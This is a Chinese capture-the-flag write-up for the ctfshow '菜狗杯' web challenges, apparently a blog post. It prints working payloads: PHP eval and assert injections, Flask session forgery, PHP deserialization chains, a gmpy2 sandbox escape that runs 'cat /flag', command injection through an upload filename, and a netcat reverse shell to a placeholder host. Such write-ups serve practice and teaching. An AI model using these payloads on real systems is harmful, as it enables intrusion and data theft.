ctfshow【菜狗杯】wp
文章目录
- web
- web签到
- web2 c0me_t0_s1gn
- 我的眼里只有$
- 抽老婆
- 一言既出
- 驷马难追
- TapTapTap
- Webshell
- 化零为整
- 无一幸免
- 无一幸免_FIXED
- 传说之下(雾)
- 算力超群
- 算力升级
- easyPytHon_P
- 遍地飘零
- 茶歇区
- 小舔田?
- LSB探姬
- Is_Not_Obfuscate
web
web签到
<?phperror_reporting(0);
highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
仔细观察题目,这题就是套娃,
首先我们需要传个cookie,名为 CTFshow-QQ群:
但是一直不起作用,
我们需要将它进行url编码,此处值为:a
$_POST[a]=b
-> $_GET[b]=c
->
$_REQUEST[c][6][0][7][5][8][0][9][4][4]=system('ls');
注意:c应该传一个数组
web2 c0me_t0_s1gn
源码有前一半flag,控制台有另一半
我的眼里只有$
<?phperror_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
这是一个php变量覆盖题,要弄好多层,自己敲很麻烦,我们应该写个python脚本
总共36个$。这里有一个extract()
函数:
这个函数可以将此处$_POST
数组中的键名赋值为变量,我们只需要在post中传参即可
import stringcode = "assert($_GET[1]);"
s = string.ascii_letters # 获取所有大小写英文字母post = "_=a&"for i in range(34):post += s[i] + "=" + s[i+1] + "&"post += s[i+1] + "=" + code
print(post)
输出:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=assert($_GET[1]);
我们只需要使用get传参,命令执行即可
抽老婆
打开页面发现一个下载的按钮,点击后可以下载图片
url:
http://3cef0567-fe4d-413d-911e-ebf363d7fda8.challenge.ctf.show/download?file=0df74e7fc6614180ee892683f13d5abf.jpg
这里好像存在任意文件下载漏洞,我们随便输入一个路径:
我们发现这个是 python的 flask框架,于是我们想要去读取 /app/app.py文件,
使用相对路径成功读取
# !/usr/bin/env python
# -*-coding:utf-8 -*-"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""from flask import *
import os
import random
from flag import flag#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])
def index(): return render_template('index.html')@app.route('/getwifi', methods=['GET'])
def getwifi():session['isadmin']=Falsewifi=random.choice(os.listdir('static/img'))session['current_wifi']=wifireturn render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])
def source(): filename=request.args.get('file')if 'flag' in filename:return jsonify({"msg":"你想干什么?"})else:return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():if session['isadmin']:return jsonify({"msg":flag})else:return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=True)
分析一下,这题考点就是 flask session伪造
,只需要把 session['isadmin']
改为true即可。
但是session伪造需要key,这里也给出了:tanji_is_A_boy_Yooooooooooooooooooooo!
于是我们可以使用脚本伪造cookie:
我们将 isadmin
改为True,然后再加密:
该一下session访问路径得到flag
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
}
很简单,payload:
?num=114514-114514+1919810 //注意+需要url编码为:%2B,否则会被解析为空格
这里考察php弱比较,以及 intval()函数
官方wp,由于这里使用 assert()函数,可以将字符串当作代码执行,所以我们可以去闭合括号:
?num=);%23 使用#注释掉后面
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514 && check($_GET['num'])){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
} function check($str){return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
使用运算符绕过即可
TapTapTap
一个js小游戏题,直接找js源码:
找到一串可疑代码,我们在控制台执行:
该路径存在flag
Webshell
<?php error_reporting(0);class Webshell {public $cmd = 'echo "Hello World!"';public function __construct() {$this->init();}public function init() {if (!preg_match('/flag/i', $this->cmd)) {$this->exec($this->cmd);}}public function exec($cmd) {$result = shell_exec($cmd);echo $result;}}if(isset($_GET['cmd'])) {$serializecmd = $_GET['cmd'];$unserializecmd = unserialize($serializecmd);$unserializecmd->init();}else {highlight_file(__FILE__);}?>
一个简单的php反序列化
直接构造:
<?php
class Webshell {public $cmd = "cat f*";
}
echo urlencode(serialize(new Webshell()));输出:
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
化零为整
<?phphighlight_file(__FILE__);
include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){if (strlen($_GET[$i])>1){die("你太长了!!");}else{$result=$result.$_GET[$i];}
}if ($result ==="大牛"){echo $flag;
}
这题的意思是我们get传参数据长度为1,并且拼接后得到 大牛
如何实现呢?我之前想到的是unicode编码之类的,但是此处可以使用url编码:
<?php
echo urlencode("大牛");输出:
%E5%A4%A7%E7%89%9B
然后get传参:
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die($flag);}else{die("nonono!");}
}
这题有bug,直接给0传参就行
无一幸免_FIXED
<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die("nonono!");}else{die($flag);}
}
?>
这一题难点在于绕过 $arr[]=1
这一个恒真条件,这条语句的意思是:在数组后面添加一个元素1
64位有符号数,能表示最大数为: 2^63-1 = 9223372036854775807
我们只需传入:
?0=9223372036854775807
即可,这样数组的下一个元素下表越界了,则条件 $arr[]=1
为假
传说之下(雾)
观察源码,找js代码
发现创建了一个 Game对象,里面记录的 分数 score
观察游戏:
只要得到2077分就可以拿flag,
于是我们在控制台输入: Game.score=2077
然后玩游戏吃一个果子就行
算力超群
我们对计算进行抓包
发现该题使用 python flask框架
并且该处可能可以使用命令执行,
我们可以使用 os.system()
进行命令执行,但是 os 模块需要进行导入,我们没有导入,怎么办呢
我们可以使用 __import__()
函数 进行动态导入模块
import() 函数用于动态加载类和函数 。
如果一个模块经常变化就可以使用 import() 来动态载入。
我们可以使用:
__import__('os').system('')
进行命令执行
此处我们测试到 number2
位置可以插入代码
我们可以使用 nc 命令
去反弹shell
__import__('os').system('nc ip port -e /bin/sh')
然后在服务器指定端口进行监听:
nc -lvp 9996
我们可以直接在服务器执行命令,查看flag
如图成功得到flag
算力升级
# !/usr/bin/env python# -*-coding:utf-8 -*-"""# File : app.py# Time :2022/10/20 15:16# Author :g4_simon# version :python 3.9.7# Description:算力升级--这其实是一个pyjail题目"""from flask import *import osimport re,gmpy2 import json#初始化全局变量app = Flask(__name__)pattern=re.compile(r'\w+')@app.route('/', methods=['GET'])def index(): return render_template('index.html')@app.route('/tiesuanzi', methods=['POST'])def tiesuanzi():code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})except:return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})@app.route('/source', methods=['GET'])def source(): return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)
这题好像是关于沙箱逃逸,我们先看一篇文章:[PyJail] python沙箱逃逸探究
我们仔细分析这一段代码:
pattern=re.compile(r'\w+') code=request.form.get('code')for item in pattern.findall(code):#从code里把单词拿出来if not re.match(r'\d+$',item):#如果不是数字if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})try:result=eval(code)return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
这一段代码判断,首先把所有的字母、数字、下划线_ 拿出来(findall):单词,
如果单词不在gmpy2库中,则执行不了eval(),所以我们必须使用gmpy2库中的函数名来构造想要的代码。
dir()
函数可以返回参数的属性以及函数列表。
例如,我们返回gmpy2
的列表:dir(gmpy2)
根据分析,特殊字符可以随便使用,
我们需要使用图片中的函数名来构造payload。
观察可知,里面有:gmpy2
、__builtins__
等
__builtins__
:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如str
、chr
、ord
、dict
、dir
等。
我们使用 gmpy2.__builtins__
查看其中存在的属性、函数,返回的是字典:
其中包含 eval() 函数,我们需要通过gmpy2
中有的函数来构造 eval
经过观察,gmpy2中存在:invert
、fac
、lcm
等函数,我们可以通过对字符串中字符取值,拼接为eval
gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]](
然后我们需要编写脚本,通过gmpy2函数,构造出eval()函数中的代码:
__import__('os').popen('cat /flag').read()
这一句的意思是,导入os模块,使用os.popen()
去执行命令,然后读取出来
我们自己写个脚本进行构造:
import gmpy2
s = "__import__('os').popen('cat /flag').read()"payload = "gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("for i in s: # 遍历想执行的代码if i in " '()/.": # 如果是这些字符,就直接相加(注意结尾的加号+) payload += f"\"{i}\"+"else: # 如果是字母,我们需要使用gmpy2函数进行构造temp_str = ""temp_index = -1for j in dir(gmpy2): # 遍历gmpy2中的函数if i in j: # 如果函数中存在该字母temp_index = j.find(i) # 找到该字母下标temp_str = jpayload += f"\"{temp_str}\"[{temp_index}]+" # payload加上函数中指定下标,如 "invert"[3] 就是字母e,注意末尾加上加号+payload = payload[:-1] + ")" # 将末尾+替换为空格
print(payload)
payload:
gmpy2.__builtins__['invert'[3]+'invert'[2]+'fac'[1]+'lcm'[0]]("xbit_mask"[4]+"xbit_mask"[4]+"xbit_mask"[2]+"xmpz"[1]+"xmpz"[2]+"zero"[3]+"zero"[2]+"zeta"[2]+"xbit_mask"[4]+"xbit_mask"[4]+"("+"'"+"zero"[3]+"xbit_mask"[7]+"'"+")"+"."+"xmpz"[2]+"zero"[3]+"xmpz"[2]+"zeta"[1]+"yn"[1]+"("+"'"+"unpack"[4]+"zeta"[3]+"zeta"[2]+" "+"/"+"root_of_unity"[6]+"rint_floor"[6]+"zeta"[3]+"sign"[2]+"'"+")"+"."+"zero"[2]+"zeta"[1]+"zeta"[3]+"t_mod_2exp"[4]+"("+")")
easyPytHon_P
源码在此:from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:try:tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)print('Done!')except subprocess.TimeoutExpired:print('Timeout!')except:print('Error!')
else:print('No Flag!')
这题就是命令执行,但是我们不知道 subprocess.run()
是什么东西
其实就是执行命令的一个函数。
subprocess.run()
第一个args是最重要的,它就是要执行的命令。注意它必须是一个列表,里面的内容包括了命令和命令参数,比如:
subprocess.run(["ls", "-l", "/usr/bin"])
那么题中就是取cmd中前三个为命令,param为命令参数,
__file__
是当前文件路径(当param中传入的也是文件路径参数时,命令行会根据这两个路径参数分别执行成两条命令,输出两个结果);第二个cwd为当前工作路径,**os.getcwd()**就是返回进程的当前工作目录,timeout=5,就是超时时间最大设置为5s。
遍地飘零
<?php
include "flag.php";
highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){$$key=$$value;
}if ($flag=="000000000000000000000000000000"){echo "好多零";
}else{echo "没有零,仔细看看输入有什么问题吧";var_dump($_GET);
}没有零,仔细看看输入有什么问题吧array(0) { }
观察题目
我们需要将 $_GET
变量值赋值为 $flag
,
这样我们通过 var_dump() 就可以将 flag内容输出了
payload:
_GET=flag
茶歇区
这一题是叫我们买东西得到 114514分以上就行,但是我们经过尝试,不能输入负值,然后没有什么思路了。
看了wp,考点是整形溢出
64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807
19位数
但是此时这里进行 x10
运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出
例如: 932337203685477580
传两次得到flag
小舔田?
<?php
include "flag.php";
highlight_file(__FILE__);class Moon{public $name="月亮";public function __toString(){return $this->name;}public function __wakeup(){echo "我是".$this->name."快来赏我";}
}class Ion_Fan_Princess{public $nickname="牛夫人";public function call(){global $flag;if ($this->nickname=="小甜甜"){echo $flag;}else{echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";}}public function __toString(){$this->call();return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;}
}if (isset($_GET['code'])){unserialize($_GET['code']);}else{$a=new Ion_Fan_Princess();echo $a;
}
简单反序列化:
<?phpclass Moon{public $name;public function __construct() {$this->name = new Ion_Fan_Princess();}
}class Ion_Fan_Princess{public $nickname="小甜甜";
}echo serialize(new Moon());payload:
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
LSB探姬
源码:
# !/usr/bin/env python# -*-coding:utf-8 -*-"""# File : app.py# Time :2022/10/20 15:16# Author :g4_simon# version :python 3.9.7# Description:TSTEG-WEB# flag is in /app/flag.py"""from flask import *import os#初始化全局变量app = Flask(__name__)@app.route('/', methods=['GET'])def index(): return render_template('upload.html')@app.route('/upload', methods=['GET', 'POST'])def upload_file():if request.method == 'POST':try:f = request.files['file']f.save('upload/'+f.filename)cmd="python3 tsteg.py upload/"+f.filenameresult=os.popen(cmd).read()data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}return jsonify(data)except:data={"code":1,"message":"file upload error!"}return jsonify(data)else:return render_template('upload.html')@app.route('/source', methods=['GET'])def show_source():return render_template('source.html')if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=False)
突破点:
cmd="python3 tsteg.py upload/"+f.filename
result=os.popen(cmd).read()
这里可以进行 python 命令执行,只需要改一个文件名即可
filename="1;cat flag.py"
我们使用分号 ; 进行命令分隔,然后 cat即可
Is_Not_Obfuscate
查看源码
提示我们访问 robots.txt
文件
访问 /lib.php?flag=0
什么东西都没有,我们将 0 改为 1:
发现一大堆编码
没有其他思路,我们继续查看首页:
我们发现隐藏了一个 执行按钮,我们将value改为test,然后我们再将上述获得的编码放入input中:
注意:需要将上述编码进行url编码一次,我们获得如下源码:
我们主要关注这里:
思路就是:我们将一句话木马push进去,之后使用pull拉取下来,进行命令执行
注意:要在命令后加入youyou
再进行md5编码:
相关文章:
ctfshow【菜狗杯】wp
文章目录webweb签到web2 c0me_t0_s1gn我的眼里只有$抽老婆一言既出驷马难追TapTapTapWebshell化零为整无一幸免无一幸免_FIXED传说之下(雾)算力超群算力升级easyPytHon_P遍地飘零茶歇区小舔田?LSB探姬Is_Not_Obfuscateweb web签到 <?ph…...
旋转数组的几种做法
千淘万浪虽辛苦,吹尽黄沙始到金。 ——刘禹锡 第一种方法:遍历整个数组 题目描述: 一个数组A中存有N (N>0) 个整数,允许使用另外数组,将每个整数循环向右移动M(M>0)个位置。如果需要…...
创建虚拟机、添加镜像以及配置虚拟机
一、创建虚拟机 1、点击 “创建新的虚拟机” 2.选择“自定义配置” 到后面可以选择硬件的类型 3.默认值就行 4.选择 “稍后安装操作系统” 5.操作系统选择 “Linux”,版本结合镜像自行选择 6. 虚拟机的名称自行定义, 就是上述显示出来的名称。 虚拟机…...
Godot Engine 4.0横空出世,Vulkan大怪兽加持,画质提升简直亮瞎眼
【CSDN 编者按】经历了漫长的等待,万众瞩目的 Godot Engine 4.0 正式版在其 3.0 版本发布 5 年以后,终于带着海量令人兴奋的新功能横空出世! 整理 | 开发游戏的老王 责编 | 王子彧 出品 | CSDN(ID:CSDNnews)…...
CorelDRAWX4的VBA插件开发(四十五)建立类(2)汇总相似功能简化重复代码:一键建立设计外框加出血线和等分折页线
在上一节中已经建立好了类,那么这一节我们来调用它,先建立一个面板 然后修改框体名称 然后从左侧新建一些按钮并且以拼音为结尾进行命名 Private Sub CheckBox2_zheYe_Click() 鼠标按下几折页单选时触发If Me.CheckBox2_zheYe ThenMe.TextBox3_zheYeShu.Enabled True 让右…...
我的十年编程路 2017年篇
2016和2017,这两年是我飞速发展的两年。一方面是技术、工作能力,另一方面是对人生的思考。 随着技术能力的不断提升,博客也随之更新。在2017年伊始,我收到了CSDN学院的讲师邀请函。没错,那个时候我就有机会做视频课了…...
hadoop有多个输入路径怎么处理
在Hadoop中,可以使用FileInputFormat的addInputPath方法来添加多个输入路径。以下是实现步骤:创建一个Job对象,并设置相关的参数和配置信息。调用FileInputFormat的addInputPath方法添加输入路径。例如:FileInputFormat.addInputP…...
day6 ServletContext
ServletContext 一个Servlet对象对应一个ServletConfig。100个Servlet对象则对应100个ServletConfig对象。 只要在同一个webapp当中,只要在同一个应用当中,所有的Servlet对象都是共享同一个ServletContext对象的。 ServletContext对象在服务器启动阶段…...
Dockerfile部署SpringBoot项目
Dockerfile部署SpringBoot项目 文章目录 利用Dockerfile部署SpringBoot项目 1、创建一个SpringBooot项目并且打成jar包2、在Linux中创建一个文件夹,来做docker测试3、将jar包上传到Linux中4、编写Dockerfile文件5、制作镜像6、启动容器7、查看容器启动日志8、访问接…...
Java面向对象特征之三:多态
一:面向对象三大特征之三:多态 1.多态是什么? 同类型的对象,执行同一个行为,会表现出不同的行为特征。 比如:猫和狗都是动物类型,执行同一个行为,但是会表现出不同的行为特征&…...
基于ATX自动化测试解决方案
在整车开发中,诊断功能实现后需要进行测试验证。测试验证主要分为两个方面:诊断协议层测试和诊断功能测试。诊断协议层测试:需要对服务层服务定义、传输层相关时间参数进行测试验证;诊断功能测试:需要对各诊断功能项&a…...
Qt学习5-Qt Creator文件操作(哔站视频学习记录)
实现文件编辑器代码 目录 一、代码要点 二、重点函数 1、conncet 2、getOpenFileName 3、getSaveFileName 4、读取文件到textEdit 5、textEdit保存到文件 三、全部代码 mainwindow.h mainwindow.cpp 一、代码要点 MainWindow的菜单栏实现;connect函数连接…...
LeetCode15三数之和 容易理解版本
题目: 给你一个整数数组 nums ,判断是否存在三元组 [nums[i], nums[j], nums[k]] 满足 i ! j、i ! k 且 j ! k ,同时还满足 nums[i] nums[j] nums[k] 0 。请返回所有和为 0 且不重复的三元组。 注意:答案中不可以包含重复的三…...
Spring Boot 3.0系列【11】核心特性篇之国际化
有道无术,术尚可求,有术无道,止于术。 本系列Spring Boot版本3.0.3 源码地址:https://gitee.com/pearl-organization/study-spring-boot3 文章目录 前言基础知识国际化简介浏览器语言LocaleMessageSourceMessageSourcePropertiesLocaleResolver案例演示案例一:后台消息国…...
每日学术速递3.7
CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Dropout Reduces Underfitting 标题:Dropout 减少欠拟合 作者:Zhuang Liu, Zhiqiu Xu, Joseph Jin, Zhiqiang Shen, Trevor Darrel 文章链接:h…...
灯具照明行业MES系统,助力企业实现数字化转型
灯具照明行业在制造领域,是典型的高科技离散生产制造模式,大部分企业都设置:电源组件、光源组件、或光电一体组件 ,工艺以SMT、DIP等。 灯罩主要采用吸塑工艺及模具加工;其它金属的面盖、灯体、灯盒基本都是采用压铸、…...
超实用!JavaScript修改CSS变量,达到动态修改样式的目的
在网页开发中,我们通常使用CSS来设置网页的样式。但是,在开发过程中,有时候我们需要根据不同的条件来动态修改样式,这时候就需要使用JavaScript来实现。 在CSS中,有一种变量的概念,可以使用变量来定义颜色…...
解决Vue3 默认槽的非函数值 - Non-function value encountered for default slot 的警告
解决警告⚠️:[Vue warn]: Non-function value encountered for default slot. Prefer function slots for better performance. h函数的第三个参数加上箭头函数 原因分析: 一般 第三个参数如果不是默认插槽的话 就是当作children传下去,…...
【Git】P2 分支(创建分支,合并分支,分支冲突,分支分类)
分支分支的概念2077 与 分支git - 分支分支语句查看与创建分支切换与删除分支合并分支分支冲突分支分类分支的概念 什么是分支? 2077 与 分支 我最喜欢的游戏就是 赛博朋克2077,美国末日 和 GTA,下图是2077的存档。 存档非常多的原因是因为…...
2023年全国最新交安安全员精选真题及答案14
百分百题库提供交安安全员考试试题、交安安全员考试预测题、交安安全员考试真题、交安安全员证考试题库等,提供在线做题刷题,在线模拟考试,助你考试轻松过关。 41.事故隐患泛指生产系统中可导致事故发生的() A.人的不…...
Air101|Air103|Air105|Air780E|ESP32C3|ESP32S3|Air32F103开发板:概述及PinOut
内容均引自合宙官方wiki,详细内容请参考: :LuatOS 文档 。 1、合宙Air101(芯片及开发板) 合宙Air101是一款QFN32 封装,4mm x 4mm 大小的mcu。通用串口波特率,设置波特率为921600。 固件编译可…...
【代码随想录训练营】【Day35】第八章|贪心算法|860.柠檬水找零|406.根据身高重建队列|452. 用最少数量的箭引爆气球
柠檬水找零 题目详细:LeetCode.860 一道非常简单的模拟题,根据题目要求编写程序即可: Java解法(模拟): class Solution {public boolean lemonadeChange(int[] bills) {int money_5 0, money_10 0;fo…...
嵌入式C基础知识(23)
常用C/C代码规范头文件的保护所有的头文件都应该使用#define来避免多次引用,符号格式为:<PROJECT>_<PATH>_<FILE>_H_例如头文件:foo/src/bar/baz.h#ifndef FOO_BAR_BAZ_H_#define FOO_BAR_BAZ_H_...#endif // FOO_BAR_BAZ_…...
一文掌握组织项目等级划分维度,标准和实例
当你遇到多项目怎么管?遇到项目之间的冲突怎么解决?很多公司没有项目优先级的划分,会对企业造成很多严重的问题。首先,会造成不合理的资源分配:缺少项目优先级的情况下,很难确定哪些项目是最重要的…...
【C++】list的使用和基本迭代器框架的实现 vs和g++下string结构的说明
真正的成熟应该并不是追求完美,而是直面自己的缺憾,这才是生活的本质。 文章目录一、初见list1.list的迭代器失效和基本使用2.list的operations操作接口(看起来挺不错的接口,但可惜不怎么实用)3.vector和list的排序性能…...
基于深度学习的轴承寿命预测实践,开发CNN、融合LSTM/GRU/ATTENTION
关于轴承相关的项目之前做的大都是故障识别诊断类型的,少有涉及回归预测的,周末的时候宅家发现一个轴承寿命加速实验的数据集就想着拿来做一下寿命预测。首先看下数据集如下:直接百度即可搜到,这里就不再赘述了。Learning_set为训…...
redis进阶:mysql,redis双写一致性,数据库更新后再删除缓存就够了吗?
0. 引言 最近线上的一个状态修改功能出现了问题,一开始是运营找了过来,运营告知某条数据的状态已经开启了的,但是实际使用起来还是没有生效,于是拿到这个问题后,首先就去数据库查了这条数据,发现确实如他所…...
RTOS中互斥量的原理以及应用
互斥量的原理 RTOS中的互斥量是一种同步机制,用于保护共享资源,防止多个任务同时访问该资源,从而避免数据竞争和不一致性。 互斥量的原理是通过对共享资源进行加锁和解锁操作来实现的。 在RTOS中,互斥量通常是一个数据结构&…...
数据分析:基于随机森林(RFC)对酒店预订分析预测
数据分析:基于随机森林(RFC)对酒店预订分析预测 作者:AOAIYI 作者简介:Python领域新星作者、多项比赛获奖者:AOAIYI首页 😊😊😊如果觉得文章不错或能帮助到你学习,可以点赞…...
【python】序列(列表、元组)、字典、集合的初步认识
一、序列 序列类型(sequence):一组有序的数据集,特点是数据之间存在先后关系,通过序号访问 序列包含以下三种类型: 1.字符串(str)不可修改 2.列表(list)可修改 3.元组(t…...
巫山网站设计/内存优化大师
每日任务内容: 本次会议为第四次Scrum Meeting会议~由于本次会议女生今日因身体不适未参与会议,故在宿舍楼开会,大家集会15分钟。队员 昨日完成任务 明日要完成任务 刘乾 #130 学习python的单元测试,并撰写一个demo或者blog&…...
我的世界做图片网站/口碑营销什么意思
集合-set集合是高中数学中的一个概念一堆确定的无序的唯一的数据,集合中每一个数据成为一个元素#集合的定义s set()print(type(s))print(s)print("*"*30)#此时,大括号内一定要有值,否则定义出的是一个dicts {}print(type(s))print(…...
cc插件 wordpress/如何推广微信公众号
经典动态规划问题。用dp[i][j]表示字符串s的以i开头,以j结尾的子串的最大回文子序列的长度。我们要求的s的最长回文子序列的长度就是dp[0][n - 1]。考虑一下数组的初始化,对于所有的i(0 < i < n),都有dp[i][i] 1,表示单个字…...
长沙网站建设哪家靠谱/郑州见效果付费优化公司
String.prototype.charAt()str.charAt(index)返回字符串中指定位置的字符。字符串中的字符从左向右索引,第一个字符的索引值为 0,最后一个字符(假设该字符位于字符串 stringName 中)的索引值为 stringName.length - 1。如果指定的 index 值超出了该范围&…...
网站icp备案证书/重庆百度快照优化
偶然看到了华为高薪招聘八位博士的新闻,我比较感兴趣,于是找来他们的专业方向,想看看华为到底在哪些领域上下血本了。 自动学习机器视觉导航软件无线电建模语言设计与软件形式化方法功耗控制大数据计算数学一人未知同时这八位博士研究方向各不…...
网站建设项目发票/个人网页制作完整教程
http://codeforces.com/problemset/problem/1213/D2 题目大意:给nnn个数,每一次操作可以任意选择一个数aia_{i}ai,使aiai/2a_{i}a_{i}/2aiai/2(向下取整)。问至少需要多少次操作才能使得序列中有kkk个相等的数。 思路:排序后…...